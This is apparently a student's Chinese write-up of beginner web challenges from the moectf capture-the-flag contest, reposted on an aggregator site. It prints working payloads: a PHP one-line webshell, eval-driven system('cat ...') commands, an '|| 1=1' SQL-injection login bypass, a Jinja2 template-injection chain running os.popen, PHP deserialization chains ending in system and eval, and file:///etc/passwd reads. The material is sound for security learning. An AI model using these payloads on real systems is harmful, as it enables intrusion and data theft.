moectf-wp(web)

news/2024/10/7 14:12:48

记录下自己做题的经历,欢迎老登们参观

1.入门指北:

没啥好说的,解压以后phpstudy开一个网页放在文件夹里直接就能出flag。

2.弗拉格之地的入口:

题目也是非常直接(毕竟是引导我这种小白),我直接召唤dirsearch扫描,也是顺利得到结果 ,打开网页

进入/webtutorEntry.php,成功获得本题flag

3.垫刀之路01: MoeCTF?启动!

看到命令框直接ls加cat结果发现不在这,让我们查找环境变量。

那就查找环境变量,直接出了flag(虽然很简单,但是其实教会了我这个小白怎么查找环境变量)。

4.ez_http:

使用HackBar跟着指导做即可:

(1)post随便发一个值然后根据提示post输入imoau=sb;

(2)url后根据提示get输入"?xt=大帅b";

(3)Referer设置为https://www.xidian.edu.cn/;

(4)设置cookie为"user=admin";

(5)User Agent设置为MoeDedicatedBrowser;

(6)提示"Local access only",故直接添加header为X-Forwarded-For : 127.0.0.1

喜提flag:

5.ProveYourLove:

先随便提交一份发现无法再次提交,F12发现只能提交一次。虽然说看不懂代码,但能看出第二次提交被ban了,又发现提交表白数据和更新表白次数先后响应,考虑能不能卡住时间多发请求,想到了burp抓包,当然得重新开一次容器。

如图配置一下,退出后显示flag:

6.弗拉格之地的挑战:

前面两个分别查看源代码和响应头,直接跳转到第三个,第三个用HackBar在url输入"?a=1",post输入"b=2",后说用admin身份验证,直接将cookie的值改成admin就行了,刷新得到第三串flag。

进入第四关前要求"从http://localhost:8080/flag3cad.php?a=1 点击链接过来",那就把Referer改为http://localhost:8080/flag3cad.php?a=1。

正式进入第四关,

确实有点抽象,但是可以F12一下发现可以把这里的8(别的也行)的id值改成9。

然后点击原本8的按钮就可以了,提示使用console.log为我们生成flag,就直接看F12控制台出的日志信息就行了,顺便前往第五关。

第五关让我们输入"I want flag"直接输入后弹出"你就这么直接?"发现是以弹窗形式的提示,赶紧观察查看器里面的代码发现有一个event

直接给它关了,再次输入"I want flag"得到flag5。

进入第六关是一个非常简单的代码审计,

提示要以get和post形式输入两个$moe并且get输入的$moe不能含有"flag"但是得符合不受大小写的"flag",故输入?moe=Flag同时别忘了post输入moe=1。进入第七关。

第七关让我们借用"eval($_POST['what']);"的力量,那直接post输入"what=phpinfo();"发现没有flag,那就改成"what=system("ls ../../../");"发现有一个flag7文件,直接查看"what=system("cat ../../../flag7");"喜提最后一段flag,最后将前面获得的flag碎片拼起来解个码就可以得到flag了。

7.ImageCloud前置

观察源码使用file伪协议读取文件,输入'file://'发现无事发生,于是加一个斜杠'file:///'

接着根据提示进入etc/passwd得到flag

8.垫刀之路02: 普通的文件上传

没有对文件形式进行限制,直接上传.php文件写入一句话木马即可

<?php @eval($_POST['pass']);?>

接着进入上传页面并如图发出post请求进入phpinfo();查找(Ctrl+F)得到flag

9.垫刀之路03: 这是一个图床:

依旧上传木马文件发现限制了文件类型,那就把木马文件的后缀名改为".jpg"上传时使用burp改包改为".php"文件再发出,下面做法就与上面相同,flag也是在phpinfo();里面。

10.登陆网站:

告诉我们用户名为admin123,密码难以破解,那就考虑sql注入

点击登录即得flag:

11.垫刀之路07: 泄漏的密码:

网页告诉我们pin码,先使用dirsearch扫描出登陆页面,

进入后输入对应的pin,来到console发现是python的控制台。

找了挺久没找到最后发现就在当前目录……

12.垫刀之路04: 一个文件浏览器:


告诉我们这个页面没用,那我们直接换个页面,改url后面的path就行

终于找到了flag但是打开后显示不在此位置但是提示位置不远,最后在tmp里面找到flag

13.静态网页:

看看源码,发现给了提示

直接点没有任何结果,那就抓个包

让我们进入/final1l1l_challenge.php。进入后是一段php代码

意思是让我们get输入a,post输入b,且两个变量都不是数字,然后a弱相等等于0,md5($a)和b的第$a个元素弱相等,那其实只要a第一位数字是字母,md5($a)为经典0e开头数字,b随便取个0k就行,构造?a=QNKCDZO,post输入b=0k就可以了。得到flag。

14.电院_Backend:

先扫描发现/admin/这个目录,直接进入

看看源码发现or被ban掉了,那就换成||,输入sql万能语句

admin@qq.com' || 1=1 #

随便输个密码,填好验证码后显示我们登陆成功,取得flag(就是消失的速度有点快)。

15.勇闯铜人阵:

没啥好说的,直接写脚本,把url换成自己题目的(真头一回写,写了好久)

import requests
session=requests.session()
url="http://127.0.0.1:53592/"
data={'player':'wuxuanyi','direct':'弟子明白'
}
a=["北方","东北方","东方","东南方","南方","西南方","西方","西北方"]
b=["北方一个","东北方一个","东方一个","东南方一个","南方一个","西南方一个","西方一个","西北方一个"]
t=['1','2','3','4','5','6','7','8']
n=1
response=session.post(url=url,data=data)
while n<=6:x=0list1=[]m=response.text[-30:-21]for i in m:if i in t:x+=1list1.append(int(i))if x==1:data1 ={'player':'wuxuanyi','direct': f'{a[list1[0]-1]}'}response= session.post(url=url, data=data1)print(response.text)if x==2:data2 = {'player':'wuxuanyi','direct': f'{b[list1[0]-1]},{b[list1[1]-1]}'}response= session.post(url=url, data=data2)print(response.text)n+=1

运行得到flag:

16.who's blog?

传一个?id=1发现页面发生变化,感觉像是ssti注入

输入?id={{7*7}}发现回显49,那就可以确定了。先拿基类

?id={{().__class__.__base__}}

再拿子类

?id={{().__class__.__base__.__subclasses__()}}

找到warnings.catch项,代码定位位置

?id={{().__class__.__base__.__subclasses__()[239]}}

下面确定存在eval内置函数

?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__}}

调用一下发现没有flag

?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}

直接考虑找环境变量

?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__.__builtins__['eval']('__import__("os").popen("export").read()')}}

成功找到flag

17.垫刀之路06: pop base mini moe:

考验我们审计代码的能力(这个我是真没有)。意思是有两个类A和B和一个析构函数,一个魔术方法__invoke()。我们可以利用这个invoke调用b作为一个函数,前面的$s恰好能触发这个魔术方法,只要把B放入A中,写写代码(藏了点私货):

<?phpclass A {// 注意 private 属性的序列化哦private $evil = "ls /";// 如何赋值呢private $a;function C1432($t){$this->a=$t;}function __destruct() {$s = $this->a;$s($this->evil);}}class B {private $b = system;function __invoke($c) {$s = $this->b;$s($c);}
}
$m = new A();
$n = new B();
$m->C1432($n);echo urlencode(serialize($m));
?>

查找到目录有flag,直接换成cat指令读出即可。

16.pop moe:

先观察代码,发现有四个类,注意几个魔术方法。发现反序列化的时候会先执行析构函数(__destruct()),然后查看pay10ad的值,所以可以先把初始值赋1,注意最后面的eval,这显然是我们想最终达到的地方,我们希望能执行phpinfo();之类的命令,那我们正向看看,看class000,由于这里面的$a会作为函数执行,我们先办法把$what赋值成class001类,进而赋值给$a,这样我们就可以调用class001里面的魔术方法__invoke,下面考虑触发魔术方法__set发现有个一变量payload是不存在的,那我们只要把这里的$a赋值为class002,下面的逻辑就是打开dangerous函数,并给参数为class003,这样可以调用魔术方法__tostring,这样将参数$mystr最终传给evvval函数执行,构造payload如下:

<?phpclass class000 {private $payl0ad=1;protected $what;function c1432($t){$this->what=$t;}public function __construct(){$this->what;}// public function check()// {//     if($this->payl0ad === 0)//     {//         die('FAILED TO ATTACK');//     }//     $a = $this->what;//     $a();// }
}class class001 {public $payl0ad=dangerous;public $a;public function __invoke(){$this->a->payload = $this->payl0ad;}
}class class002 {private $sec;function C123($t){$this->sec=$t;}public function __set($a, $b){$this->$b($this->sec);}public function dangerous($whaattt){$whaattt->evvval($this->sec);}}class class003 {public $mystr='phpinfo();';public function evvval($str){eval($str);}public function __tostring(){return $this->mystr;}
}$m=new class000();
$n=new class001();
$m->c1432($n);
$s=new class002();$n->a=$s;$t=new class003();
$s->C123($t);
echo urlencode(serialize($m)); 
?>

可以在phpinfo();里面搜索得到flag。

~~目前只会这么多了QwQ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/68631.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

忘记管理员密码了怎么办

忘记管理员密码可以根据不同的场景采取相应的措施来解决:尝试使用已知的安全问题或备份邮箱重置密码:如果你在创建账户时设置了安全问题或者关联了一个备份邮箱,可以通过这些方式来找回或重置密码。联系系统管理员或技术支持:如果你是企业或组织的一员,并且不是最高权限的…

想登录宝塔面板但是忘记密码_宝塔密码忘记了怎么办

宝塔面板是一款流行的服务器管理工具,如果你忘记了登录密码,可以按照以下步骤尝试找回或重置密码:通过初始化密码功能重置在宝塔面板登录页面,点击“忘记密码”。 根据提示输入面板安装时设定的邮箱或者与之绑定的手机号码。 按照收到的验证码完成身份验证后,设置新的登录…

如何查找网站后台登录

1. 常见的后台登录 URL 大多数网站的后台登录页面都有固定的 URL 结构。尝试以下几种常见的 URL 格式:http(s)://www.example.com/admin http(s)://www.example.com/login http(s)://www.example.com/manage http(s)://www.example.com/cms http(s)://www.example.com/manager…

如何进入网址的管理界面

进入网站的管理界面通常指的是登录到网站后台管理系统,以便进行内容编辑、用户管理等操作。具体步骤如下:获取登录地址:通常网站的管理后台登录地址是在网站域名基础上添加特定路径,例如 http://www.example.com/admin 或 http://www.example.com/login。 如果不确定具体地…

20222427 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容 (1)本周学习内容 1.学习缓冲区溢出的基本原理。 2.重温栈与堆的概念以及执行流程。 3.逐步熟悉Linux系统对文件的处理流程,掌握基础的汇编与反汇编语言。 (2)本周实验任务 1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。 2.利用foo函数的B…

Nuxt.js 应用中的 link:prefetch 钩子详解

title: Nuxt.js 应用中的 link:prefetch 钩子详解 date: 2024/10/7 updated: 2024/10/7 author: cmdragon excerpt: link:prefetch 是一个强大的钩子,允许开发者在链接预取时执行附加逻辑。合理利用这个钩子,可以帮助优化页面的加载速度和用户体验,提升 Web 应用的整体性…

网页上的电话怎么改

要更改网页上的电话号码,可以按照以下步骤操作: 1. 找到电话号码的位置 首先确定电话号码在网页上的具体位置。常见的位置包括:联系我们页面 页脚(Footer) 导航栏(Header) 侧边栏2. 编辑 HTML 文件 打开包含电话号码的 HTML 文件,并找到具体的电话号码代码。例如: 3. …